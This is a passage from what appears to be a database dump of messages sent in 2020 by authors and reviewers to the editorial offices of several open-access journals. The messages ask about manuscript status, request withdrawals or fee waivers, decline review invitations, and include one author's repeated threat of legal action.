day\nahead<br></p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nscincerly,<br></p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nShaimaa Shaheen<br></p>',75,5656,1,'2020-07-12 09:06:30',1),(362,'Withdrawal','<p>I would like to withdraw the article please.&nbsp;<br />thank you</p>\r\n<p>Nada</p>\r\n<p>&nbsp;</p>',852,5991,1,'2020-07-14 09:16:32',1),(363,'ipacm-20-5174','<p>Dear Sir,</p>\r\n<p>I have two queries regarding my manuscript:</p>\r\n<p>(1) Can I edit the manuscript and resubmit a revised version of the manuscript? I have drawn a model for the mode of action for Dexamethasone; and I wish to include that diagram. Eventually I need\nto bring some minor changes in the manuscript.</p>\r\n<p>(2) If my manuscript is accepted, should I pay the publication charge? If yes, then I should inform you that I cannot pay the publication charge due to several technical reasons.</p>\r\n<p>&nbsp; &nbsp; &nbsp;If you kindly clarify me these two points, it would be very helpful for me to proceed on. Thank you in advance.</p>\r\n<p>Sincerely,</p>\r\n<p>Rashed Noor (Corresponding author)</p>',248,6359,1,'2020-07-14 19:55:40',1),(365,'Proof ','<p>July 16, 2020</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p>Re:&nbsp;<strong>&ldquo;<strong>Diagnostic Yield and Safety of Endoscopic Ultrasound in Hospitalized Patients with Acute Pancreatitis</strong>&rdquo;\n(<strong>1590-8577-21-670</strong>)</strong></p>\r\n<p>&nbsp;</p>\r\n<p>Dear Rebecca:</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you very much for your email of the proofs on July 15th. We have listed the corrections of the proof in a separate document attached 7/7/2020.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>We eagerly look forward to your response.</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Sincerely,</p>\r\n<p>&nbsp;</p>\r\n<p>Yan Zhao MD, PhD</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',21,5340,1,'2020-07-17 06:09:53',1),(366,'Status Update for Paper in Review','<p>To the editors,</p>\r\n<p>I just wanted to check in on the status of a paper I submitted a couple months ago. I was just hoping for an update in terms of where it was in the review process.</p>\r\n<p>Thanks,<br />Weston Gordon, MD</p>',75,3790,1,'2020-07-17 20:02:11',1),(368,'Cancelation of Article regarding','<div dir=\"ltr\">Sir,</div>\r\n<div dir=\"ltr\">A few days ago I send a request to you by email (copy attached) for cancelling my article because some drastic mistakes present in the manuscript. In this context, I want to submit a\ntotally modified new article for your journal. Furthermore, no intimation did from your side during reviewer suggestions and corrections. So that please cancel the article. I will submit a correct\narticle in your journal as soon as possible.&nbsp;</div>\r\n<div class=\"yiv9130160426ydp70dc2287signature\">\r\n<div>\r\n<div dir=\"ltr\">Thanking you,</div>\r\n<div>Raju Mondal</div>\r\n<div><span>Scientist (Cytogenetics and Plant Breeding),</span></div>\r\n</div>\r\n</div>',370,6070,1,'2020-07-19 15:06:40',1),(370,'I am not able to download file to review\nthis case report.','<p>Dear editor</p>\r\n<p>I am not able to download this file to review.Due date shown to review this article is 27 July.Kindly have a look.</p>\r\n<p>Thank you</p>',21,385,3,'2020-07-20 05:04:25',1),(381,'manuscript reply','<p>Dear Editor,<br /><br />Please let me know how long do you need to review the manuscript as it was submitted 2 weeks ago and still no reply.<br /><br />Thanks,</p>\r\n<p>Dr.Dina</p>',75,6279,1,'2020-07-22 08:39:34',1),(383,'Manuscript review','<p>Dear Editorial Office,</p>\r\n<p>&nbsp;</p>\r\n<p>There is no manuscript here to review.</p>\r\n<p>&nbsp;</p>\r\n<p>Dr. Fleming</p>',85,1439,2,'2020-07-22 18:22:35',1),(385,'A request to withdraw Manuscript (\niprjpp-20-5241) from the Journal','<p>Hello!</p>\r\n<p>AM VERY SORRY! for requesting to withdraw the manuscript (iprjpp-20-5241) which is at editorial stage. Am very sorry again for your lost time despite of considering my manuscript in your journal.\nThe reason for withdraw is due to un avoidable circumstances that have arised among the authors and the funding agent. Therefore PLEASE, I would like again to ask you to approve my request. I will be\nback again when everything is settled down.</p>\r\n<p>Thank you very much in advance</p>',835,6431,1,'2020-07-23 08:44:51',1),(386,'Paper withdraw ','<p>Dear team;</p>\r\n<p>I will withdrwa my paper due to long waiting time.</p>\r\n<p>Thanks you</p>',50,6142,1,'2020-07-23 15:35:18',1),(388,'Article Title: “A Multinational,\nSingle-Arm Pivotal Study Assessing the\nPerformance Of SoundBite® Crossing\nSystem for Peripheral CTOs (The\nPROSPECTOR Study)”.','<p>Dear Mr Grandi,</p>\r\n<p>Our University rules do not allow us to publish in open access journals. Hence, we cannot go forward with this publication in your journal and we cannot pay for it either. We have to find a\nsolution that is suitable for both parties. We are ready to do a financial contribution if you agree not to publish the manuscript.</p>\r\n<p>We are sorry for the inconvenience,</p>\r\n<p>Eric Therasse</p>',62,6419,1,'2020-07-25 16:19:39',1),(390,'A STUDY ON TAI CHI EXERCISES IN\nIMPROVING DYNAMIC BALANCE AND GAIT IN\nOLDER ADULTS','<p>Respected editorial member,</p>\r\n<p>Thanks for the opportunity.</p>\r\n<p>Tha author has done good work with the research on Taichi among elderly.</p>\r\n<p>The following can be included:</p>\r\n<p>1. The common elderly helath problems and importance of Taichi can be included.</p>\r\n<p>2. Review can be collected on recent studies (2010-20)</p>\r\n<p>3. whether the author has undergone any ttraining on Tai-chi, the ethical implications can be included.</p>\r\n<p>4. correlation can be done on the effectiveness of taichi and the symptom reduction&nbsp;</p>\r\n<p>5. Figures has to be properly labelled and legend to be mentioned.</p>\r\n<p>6. DIscussion can be elaborated with supportive studies</p>\r\n<p>7.Conclusion should be briefly explained with relation to taichi and the need for the particular study.</p>\r\n<p>8. Overall, few modifications can be done to make this study in a scientific way.</p>',0,8899,3,'2020-07-27 19:26:55',0),(392,'Reason of rejection','<p>Dear sir/Madam,</p>\r\n<p>Good morning. The manuscript that you send for review is out of my field. I am from physiotherapy department. Hope you understand the things and kindly accept the reason for the above mentioned\nsubject. Sorry for inconvenience. Thank you.</p>\r\n<p>With regards,</p>\r\n<p>Vengata Subramani Manoharan</p>',0,11148,3,'2020-07-30 00:05:02',0),(393,'Prof. Uppari DJ  Editorial Assistant \nfor Editor in Chief    JOP. JouRef.: Ms.\nNo. ipp-20-4806  Article Title:\nOperative procedures using a Curved\nCutter Stapler for the prevention of\npancreatic fistu','<p>Prof. Uppari DJ</p>\r\n<p>Editorial Assistant</p>\r\n<p>for Editor in Chief</p>\r\n<p>&nbsp;</p>\r\n<p>JOP. JouRef.: Ms. No.&nbsp;<strong>ipp-20-4806</strong></p>\r\n<p>Article Title:&nbsp;<strong>Operative procedures using a Curved Cutter Stapler for the prevention of pancreatic fistula after distal pancreatectomy</strong></p>\r\n<p>Journal Name:&nbsp;<strong>JOP. Journal of the Pancreas</strong></p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Dear Prof. Uppari DJ,</p>\r\n<p>I am returning herewith the above manuscript revised according to your e-mail of July 17,2020.</p>\r\n<p>I hope that the revised manuscript is now acceptable for publication in Journal of the Pancreas.</p>\r\n<p>&nbsp;</p>\r\n<p>Masashi Ishikawa,MD.,PhD.</p>',21,6002,1,'2020-07-30 11:26:28',1),(394,'“Requisition to waive the publication\ncharges”','<p>Dear Sir,</p>\r\n<p>Thank you very much for getting the review of our paper quickly. I am happy to hear that our research article entitled <strong>&ldquo;<em>Exponential Growth Impact of COVID-19 Pandemic-World\nScenario, Preventive Measures and Drug Preferences</em>&rdquo; </strong>accepted for publication in your esteemed <em>&ldquo;</em><strong>Health Science\nJournal</strong><strong><em>&rdquo;.&nbsp;</em></strong>I also received a mail from the Assistant Editor, Prof. Scarlette Williams, regarding the publication charges.</p>\r\n<p>Due to the outbreak of COVID-19 Pandemic in my region, the govt. imposed complete lockdown. I am working in a private college and for the past three months the management didn&rsquo;t paid the\nsalary. We are just engaging online classes without getting proper salary. Moreover, the present condition is very critical and I am struggling to survive due to the fast spreading of coronavirus\naround my surroundings. My bank loan and insurance payments were also pending. Therefore, I am not in a position to pay the huge publication charges to the journal at present. I did not receive any\nexternal funding to support the publication also. Since, this is my first article in this journal, I humbly request you to waive the publication charges this time. The clinical trial based second\narticle is in drafting stage and for that I will pay the journal charges next time. &nbsp;Therefore, I humbly request the learned Editor and Assistant Editor to withdraw the publication charges by\nunderstanding my present condition and do the needful.</p>\r\n<pre>Thank you for your consideration, and I am eagerly waiting for your positive response.<br />\r\n<br />\r\nSincerely,</pre>\r\n<pre>&nbsp;</pre>\r\n<pre><strong>Dr. Aneesh Kumar K.V. ( Ph.D.) </strong></pre>\r\n<pre>Assistant Professor, Department of&nbsp; Physics, Presidency College,</pre>\r\n<pre>Karnataka -57320, India.</pre>\r\n<p>E- mail: <a href=\"mailto:aneesh1098@gmail.com\">aneesh1098@gmail.com</a></p>',48,5470,1,'2020-07-30 13:46:27',1),(395,'UPdate for journal IPJPIC-20-4258','<p>Please I need update on my manuscript IPJPIC-4258</p>',353,5474,1,'2020-07-30 21:55:03',1),(397,'For Galley Proof','<p>Dear Sir,</p>\r\n<p>Please provide me galley proof of my article and publish it soon because in the pendamic satuation of COVID 19 by this article I want do help to the world by providing the knowledge.</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks and Regards&nbsp;</p>\r\n<p>Author&nbsp;&nbsp;</p>',48,5772,1,'2020-08-01 11:09:50',1),(398,'Request for clarity','<p>Dear Sir/Madam,</p>\r\n<p>Greatings.</p>\r\n<p>&nbsp;</p>\r\n<p>Today I received a mail from <strong>medical research</strong>&nbsp;Journal requesting me to submit the abstract of our article which we submitted to your journal and published online yesterday.\nYou may read the mail below my text. Is it from you or other journals asking me this? If it is from you I can prepare a condensed text. I also want to get the confirmation of publication of our\narticle.</p>\r\n<p>I look forward to hearing from you.</p>\r\n<p>Kind regards,</p>\r\n<p>Endrias Markos Woldesemayat</p>\r\n<p>Hawassa University</p>\r\n<p>School Of Public Health</p>\r\n<p>Hawassa, Ethiopia</p>\r\n<p>&nbsp;</p>\r\n<p>Endrias Markos Woldesemayat: Households Dietary Diversity and Associated Factors in Konso, South Ethiopia</p>\r\n<p>Yahoo/Inbox</p>\r\n<div>\r\n<p><strong>medical research</strong>&nbsp;&lt;medicalresearchjournal2021@gmail.com&gt;</p>\r\n<p><strong>To:</strong>endromark@yahoo.com</p>\r\n<p>Sat, Aug 1 at 9:14 PM</p>\r\n<p>Dear Endrias Markos Woldesemayat,</p>\r\n<p>Warm greetings for the day!</p>\r\n<p>I can see that your research papers are very interesting as they continue to focus on updating and upgrading current wound care therapies and their application towards a successful betterment of\nthe future. I strongly believe that this potential research would beneficial to the people working in the field of Journal of Medical Research.</p>\r\n<p>Authors are invited to submit articles on following topics like immunology, biophysics, translational medicine, personalized medicine, anesthesia, cardiovascular medicine, complementary medicine,\ndentistry, pathology, pharmacology and therapeutics, dermatology, respiratory medicine, rheumatology, drugs and medicines, nutrition and metabolism, endocrinology, gastroenterology, geriatric\nmedicine, hematology, psychiatry, radiology, pediatrics, urology, epidemiology, ethnic studies.</p>\r\n<p>As a part of a new collaboration, we have planned to publish the conference proceedings abstract as special issues at the &ldquo;Allied Journal of Medical Research&rdquo;</p>\r\n<p>We need the extended article of minimum 1000 words of your abstract as per the Journal&rsquo;s Editorial Policy for the same.</p>\r\n<p>So, we request your excellence for your contribution and provide us with the extended abstract for the special issue. Since we need a non-plagiarized content, it would be great if you can write it\nup and send us the copy by this week.</p>\r\n<p>As a token of gratitude for participating at our conference, we would like to provide this publication for free of charges.</p>\r\n<p>You can submit your article by Aug 10, 2020. If you are unable to submit by this deadline, please let me know your feasible time to contribute.</p>\r\n<p>Please provide me your acceptance for the same!!</p>\r\n<p>With Best regards,</p>\r\n<p><strong>Cora A. Addy,</strong><em><br /> </em><a href=\"https://www.alliedacademies.org/allied-journal-of-medical-research/\" target=\"_blank\"><em>Allied Journal of Medical Research</em></a><em><br />\n114a Bellegrove Road, Welling, England, DA16 3QR<br /> Email: woundcarecongress(at)alliedconference(dot)org<br /> Ph No: (44) 2037 691 755&nbsp;<br /> What&rsquo;s App no: (44) 1403 582 077</em></p>\r\n</div>\r\n<p>&nbsp;</p>',50,5890,1,'2020-08-02 07:52:49',1),(399,'Review process','<p>Dear Editors,</p>\r\n<p>Soon it would be 4 weeks since the article submitted. In online access stated that editor approved the manuscript.&nbsp;<br />Please let me know what would be the next step.</p>\r\n<p>With regards</p>',75,6279,1,'2020-08-03 04:20:59',1),(400,'ipjoic-20-4737','<p>Sir,</p>\r\n<p>I would like to status of the manuscript submitted to the Editorial office. This manuscript was part of the conference (7th International Conference in Organic and Inorganic Chemistry) wherein I\ngave an oral presentation on the above work. I kindly request you to publish my article as soon as it is possible. Please do let me know the status of my article.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>\r\n<p>&nbsp;</p>\r\n<p>Janet</p>',981,5953,1,'2020-08-03 07:50:52',1),(402,'Question','<p>Hello,</p>\r\n<p>When is the answer to accepting the article?</p>\r\n<p>Sincerely<strong>,</strong></p>',101,5938,1,'2020-08-03 13:46:38',1),(403,'Manuscript submission','<p>Hello,</p>\r\n<p>I did not submit this manuscript to your system. It appears there has been a fraudulent submission.</p>\r\n<p>Please retract this submission as it was not made by a member of the research team.&nbsp;</p>\r\n<p>Thank you for your assistance.</p>\r\n<p>Justin Turcotte</p>',85,6891,1,'2020-08-04 13:04:34',1),(404,'Decisions regarding my Requisition to\nwaive the publication charges of my\narticle','<p><strong>4<sup>th</sup> August 2020</strong></p>\r\n<p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong></p>\r\n<p><strong>To,</strong></p>\r\n<p><strong>The Editor-In-Chief / Managing Editor</strong></p>\r\n<p><strong>Health Science Journal</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Manuscript No. iphsj-20-4253</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Dear Sir,</strong></p>\r\n<p><strong>Subject: &ldquo;Decision regarding my&nbsp;</strong><strong>Requisition to</strong> <strong>waive the publication charges of my article&rdquo;</strong></p>\r\n<p>&nbsp;</p>\r\n<p>I would like to inform you that our research article entitled <strong>&ldquo;<em>Exponential Growth Impact of COVID-19 Pandemic-World Scenario, Preventive Measures and Drug Preferences</em>&rdquo;\n</strong>have been accepted for publication in your esteemed <em>&ldquo;</em><strong>Health Science Journal</strong><strong><em>&rdquo;.</em> </strong>After receiving the acceptance letter,I have send\ntwo mails to the learned editor requesting to waive the publication charges due to the outbreak of COVID-19 issues. Since, I am working in a private college and due to personal and financial problems\nI am not in a position to pay the huge publication charges to the journal at present. For the past 25 days I am waiting for the positive reply from the editor. But I didn&rsquo;t receive any positive\nresponse or future status of my article till today. Therefore, I humbly request the learned editor and assistant editor to inform me the status as early as possible, so that I can select some other\njournals for publication, if your response is negative.</p>\r\n<pre>&nbsp;</pre>\r\n<pre>&nbsp;</pre>\r\n<pre>Thank you for your consideration, and I am eagerly waiting for your positive response.<br />\r\n<br />\r\nSincerely,</pre>\r\n<pre>&nbsp;</pre>\r\n<pre><strong>Dr. Aneesh Kumar K.V. ( Ph.D.) </strong></pre>\r\n<pre>Assistant Professor, Department of&nbsp; Physics, Presidency College,</pre>\r\n<pre>Karnataka, Hassan-57320, India.</pre>\r\n<pre>E- mail: <a href=\"mailto:aneesh1098@gmail.com\">aneesh1098@gmail.com</a> , Phone.No: 9900929053.</pre>',48,5470,1,'2020-08-04 13:33:04',1),(405,'review','<p>sorry, I am not free to review.</p>',0,10045,3,'2020-08-04 13:37:11',0),(406,'letter to editor','<h2>Dear &nbsp; Luisa Margarida Martins</h2>\r\n<h2>Editor of journal of organic and inorganic chemistry</h2>\r\n<h2>I have submitted my manuscript entitled &ldquo;<em><span style=\"text-decoration: underline;\">Synthesis, structural characterization and DFT calculations of a novel\n1,3-propanediylbis(triphenylphosphonium) tetrahydroborate. Determination of isotopic ratio of boron in tetrahydroborate anion</span></em>&rdquo; with manuscript number <em><span\nstyle=\"text-decoration: underline;\">ipjoic-20-4814</span></em> on <em><span style=\"text-decoration: underline;\">Jun 24, 2020</span></em> to be published in your journal. But I have not yet received\nany answer from you. Please inform me about the status of my manuscript as soon as possible.</h2>\r\n<h2>Yours faithfully</h2>\r\n<h2>Seyed Reza Nokhbeh</h2>',981,6025,1,'2020-08-05 13:19:05',1),(407,'Cancelation of Article regarding','<div dir=\"ltr\">\r\n<div>\r\n<div>Sir</div>\r\n<div>\r\n<div>WHY CDCAR1 is published online before informing me? Are you know about the publication process? Shall I go legal action? If you did not remove this incorrect article form your journal I will\ncomplain to&nbsp; FTC and other law enforcement agencies for IPR scam against your webpage from Google within 3 days.</div>\r\n<div>I mention several times FOR WITHWRAL MY ARTICLE TITLE \"Novel Aspects of Cell Division Cycle and Apoptosis Regulator 1 (CDCAR1) Protein in Morus notabilis: An In silico Approach\". There are many\nmistakes present in this article. Picture quality also not good. Please withdraw the article from the BMBJ journal. You people do not send me the review comments, gally proof. not at all correspond\nwith me. You people does not respond to my email also.</div>\r\n</div>\r\n<div>I mention several times FOR WITHWRAL MY ARTICLE TITLE \"Novel Aspects of Cell Division Cycle and Apoptosis Regulator 1 (CDCAR1) Protein in Morus notabilis: An In silico Approach\". There are many\nmistakes present in this article. Picture quality also not good. Please withdraw the article from the BMBJ journal. You people do not send me the review comments, gally proof. not at all correspond\nwith me. You people not responds my email also.</div>\r\n</div>\r\n</div>\r\n<div>&nbsp;</div>\r\n<div class=\"yiv5097386805ydpda75d07signature\">\r\n<div>\r\n<div>Raju Mondal</div>\r\n<div><span>Scientist (Cytogenetics and Plant Breeding),&nbsp;</span></div>\r\n<div><span>Central Sericultural Germplasm Resources Center (CSGRC),&nbsp;</span></div>\r\n<div><span>Central Silk Board</span></div>\r\n<div><span>Ministry of Textiles, GoI</span></div>\r\n</div>\r\n</div>',370,6070,1,'2020-08-06 18:42:04',1),(408,'LEGAL ACTION REGARDING','<div dir=\"ltr\">\r\n<div>Sir</div>\r\n<div>\r\n<div>WHY CDCAR1 is published online before informing me? Are you know about the publication process? Shall I go legal action? If you did not remove this incorrect article form your journal I will\ncomplain to&nbsp; FTC and other law enforcement agencies for IPR scam against your webpage from Google within 3 days.</div>\r\n<div>I mention several times FOR WITHWRAL MY ARTICLE TITLE \"Novel Aspects of Cell Division Cycle and Apoptosis Regulator 1 (CDCAR1) Protein in Morus notabilis: An In silico Approach\". There are many\nmistakes present in this article. Picture quality also not good. Please withdraw the article from the BMBJ journal. You people do not send me the review comments, gally proof. not at all correspond\nwith me. You people does not respond to my email also.</div>\r\n</div>\r\n<div>I mention several times FOR WITHWRAL MY ARTICLE TITLE \"Novel Aspects of Cell Division Cycle and Apoptosis Regulator 1 (CDCAR1) Protein in Morus notabilis: An In silico Approach\". There are many\nmistakes present in this article. Picture quality also not good. Please withdraw the article from the BMBJ journal. You people do not send me the review comments, gally proof. not at all correspond\nwith me. You people not responds my email also.</div>\r\n</div>\r\n<div>&nbsp;</div>\r\n<div class=\"yiv5097386805ydpda75d07signature\">\r\n<div>Raju Mondal</div>\r\n<div>Scientist (Cytogenetics and Plant Breeding),&nbsp;</div>\r\n<div>Central Sericultural Germplasm Resources Center (CSGRC),&nbsp;</div>\r\n<div>Central Silk Board</div>\r\n<div>Ministry of Textiles, GoI</div>\r\n</div>',370,6070,1,'2020-08-06 18:42:37',1),(409,'LEGAL ACTION REGARDING','<div dir=\"ltr\">\r\n<div>Sir</div>\r\n<div>\r\n<div>WHY CDCAR1 is published online before informing me? Are you know about the publication process? Shall I go legal action? If you did not remove this incorrect article form your journal I will\ncomplain to&nbsp; FTC and other law enforcement agencies for IPR scam against your webpage from Google within 3 days.</div>\r\n<div>I mention several times FOR WITHWRAL MY ARTICLE TITLE \"Novel Aspects of Cell Division Cycle and Apoptosis Regulator 1 (CDCAR1) Protein in Morus notabilis: An In silico Approach\". There are many\nmistakes present in this article. Picture quality also not good. Please withdraw the article from the BMBJ journal. You people do not send me the review comments, gally proof. not at all correspond\nwith me. You people does not respond to my email also.</div>\r\n</div>\r\n<div>I mention several times FOR WITHWRAL MY ARTICLE TITLE \"Novel Aspects of Cell Division Cycle and Apoptosis Regulator 1 (CDCAR1) Protein in Morus notabilis: An In silico Approach\". There are many\nmistakes present in this article. Picture quality also not good. Please withdraw the article from the BMBJ journal. You people do not send me the review comments, gally proof. not at all correspond\nwith me. You people not responds my email also.</div>\r\n</div>\r\n<div>&nbsp;</div>\r\n<div class=\"yiv5097386805ydpda75d07signature\">\r\n<div>Raju Mondal</div>\r\n<div>Scientist (Cytogenetics and Plant Breeding),&nbsp;</div>\r\n<div>Central Sericultural Germplasm Resources Center (CSGRC),&nbsp;</div>\r\n<div>Central Silk Board</div>\r\n<div>Ministry of Textiles, GoI</div>\r\n</div>',370,6070,1,'2020-08-06 18:42:49',1),(410,'To have information about the status of\nmy manuscript ','<p>Please tell me the stutus of my articl. If you are not interested. Tell me, thank you!</p>',101,3588,1,'2020-08-07 12:31:17',1),(411,'Withdrawing the article due to financial\nproblems','<p><strong>7<sup>th</sup> August 2020</strong></p>\r\n<p><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</strong></p>\r\n<p><strong>To,</strong></p>\r\n<p><strong>The Editor-In-Chief </strong></p>\r\n<p><strong>Health Science Journal</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Manuscript No. iphsj-20-4253</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Dear Sir,</strong></p>\r\n<p><strong>&nbsp;&nbsp;&nbsp; Subject: &ldquo;Withdrawing the article due to financial problems&rdquo;</strong></p>\r\n<p>Thank you very much for your response to my query and getting the decision of my article quickly. I too can understand the journal problems. However, I and Dr. Sahana are not in a position to pay\nthe huge publication charges due to the financial problems occurred in the present pandemic situation. &nbsp;Therefore, I think withdrawal of the manuscript is the best option in front of us. We very\nmuch hope that you will be able to understand our present critical situation. Therefore, <em>we would like to withdraw our manuscript entitled &ldquo;</em><strong><em>Exponential Growth Impact of\nCOVID-19 Pandemic-World Scenario, Preventive Measures and Drug Preferences</em></strong><em>&rdquo; from further consideration by your journal. </em>We sincerely apologize for the inconvenience caused\nand extra work this situation has caused. Thank you very much for your time and attention. Please consider this letter a formal request to withdraw my manuscript from the <strong>Health Science\nJournal</strong>.</p>\r\n<p>Many thanks yet again for your time and thoughts. I look forward to your response.</p>\r\n<p>Sincerely,</p>\r\n<p>&nbsp;</p>\r\n<pre><strong>Dr. Aneesh Kumar K.V. ( Ph.D.) </strong></pre>\r\n<pre>Assistant Professor, Department of&nbsp; Physics, Presidency College,</pre>\r\n<pre>Karnataka, Hassan-57320, India.</pre>\r\n<pre>E- mail: <a href=\"mailto:aneesh1098@gmail.com\">aneesh1098@gmail.com</a> </pre>\r\n<p><em>&nbsp;</em></p>',48,5470,1,'2020-08-07 12:41:25',1),(412,'refusal of invitation','<p>Hi, I am refusing invitation only because \"pediatrics\" topic on this article.</p>',0,13589,3,'2020-08-07 14:48:04',0),(413,'Can only see the abstract','<p>Hi Gil&nbsp;</p>\r\n<p>I can still only the the absract and not the manuscript itself.</p>\r\n<p>Lior</p>',0,13939,3,'2020-08-07 15:35:39',0),(416,'withdrawal','<p>Dear Dr Carlos Rubinstein<a id=\"example4\" title=\"Editor Details\" href=\"editor-info.php?eid=161\"><br /></a></p>\r\n<p><span>Thank you for considering my article to go under review.&nbsp;</span><span>However</span><span>,&nbsp;</span><span>unfortunately</span><span>&nbsp;</span><span>because</span><span>&nbsp;of\nauthorship&nbsp;</span><span>conflict</span><span>&nbsp;I have to withdraw my article from your journal.&nbsp;</span><span>Please</span><span>&nbsp;accept\nmy&nbsp;</span><span>deepest</span><span>&nbsp;</span><span>apologies</span></p>\r\n<p><span>sincerely</span></p>\r\n<p><span>Hoda Ranjbar</span></p>',75,6440,1,'2020-08-09 09:32:06',1),(417,'dates are not current ','<p>Hi&nbsp;</p>\r\n<p>I have accepted the recent invitation from Dr Scilimati, but in iMedPub LTD the dates of reviewing and acceptance are not current?? it shows me sept of last year!!</p>\r\n<p>Fareha Razvi</p>',0,7023,3,'2020-08-09 18:00:46',0),(419,'Present status of my paper','<p>Sir,&nbsp;</p>\r\n<p>&nbsp; &nbsp;Kindly inform me about the present status of my paper</p>',980,6849,1,'2020-08-10 18:42:55',1),(422,'revised copy ','<p>good afternoon&nbsp;<br data-mce-bogus=\"1\"></p><p><br></p><p>i revised my article, and i upload a copy.<br></p><p><br></p><p>thank you&nbsp;<br></p>',267,6033,1,'2020-08-11 16:40:22',1),(424,'Open access information','<p>Dear Editor</p>\r\n<p>Please can my work be purblished online even though it is not Open Acesss? If that is NOT the case I will like to withdraw my article</p>\r\n<p>Thanks</p>',878,6972,1,'2020-08-12 11:32:22',1),(425,'Open access information','<p>Dear Carl</p>\r\n<p>There is no information on your website explaning the cost implication. However, it is unfortunate to inform you that we do not have the necessary fun to execute this</p>',878,6972,1,'2020-08-12 12:43:10',1),(426,'Open access information','<div dir=\"ltr\">Dear Carl</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">&nbsp;I have searched extensively on your webside and found no information on Charges for open access. Nevertherless the present pandemic situation has not been critecal. I am sorry,\nthis is my project work and unfortunately i cant foot your offer. This is my predisposition at this time.&nbsp;</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">Regards</div>',878,6972,1,'2020-08-12 13:13:16',1),(429,'ipacsit-20-5637','<p>Respected sir,</p>\r\n<p>It would be very helpful if you could inform me about the present status of my paper</p>\r\n<p>ipacsit-20-5637</p>\r\n<p>Thanking you,</p>\r\n<p>Arkapal Mondal</p>',980,6849,1,'2020-08-17 17:01:00',1),(430,'Update on Manuscripy','<p>Dear Editor,</p>\r\n<p>Hello, my name is Divyash Shah and I sumbitted my manuscript titled \"Consideration of the effects of COVID-19 on the mental health of students\" on July 18 to your journal. I am writing to inquire\nabout the status of my manuscript. As it has been a month, I was wonderig if there was any other materails you may need to help with the review my manuscript. As well, is there any way that you could\nprovide an update on the timeline of the review process for my paper?</p>\r\n<p>Thank you so much.</p>\r\n<p>Sincerely,</p>\r\n<p>Divyash Shah</p>\r\n<p>&nbsp;</p>\r\n<p>_______________</p>\r\n<p><em>Divyash V. Shah</em></p>\r\n<p><em>Bergen County Academies</em></p>\r\n<p><em>Academy for Medical Science and 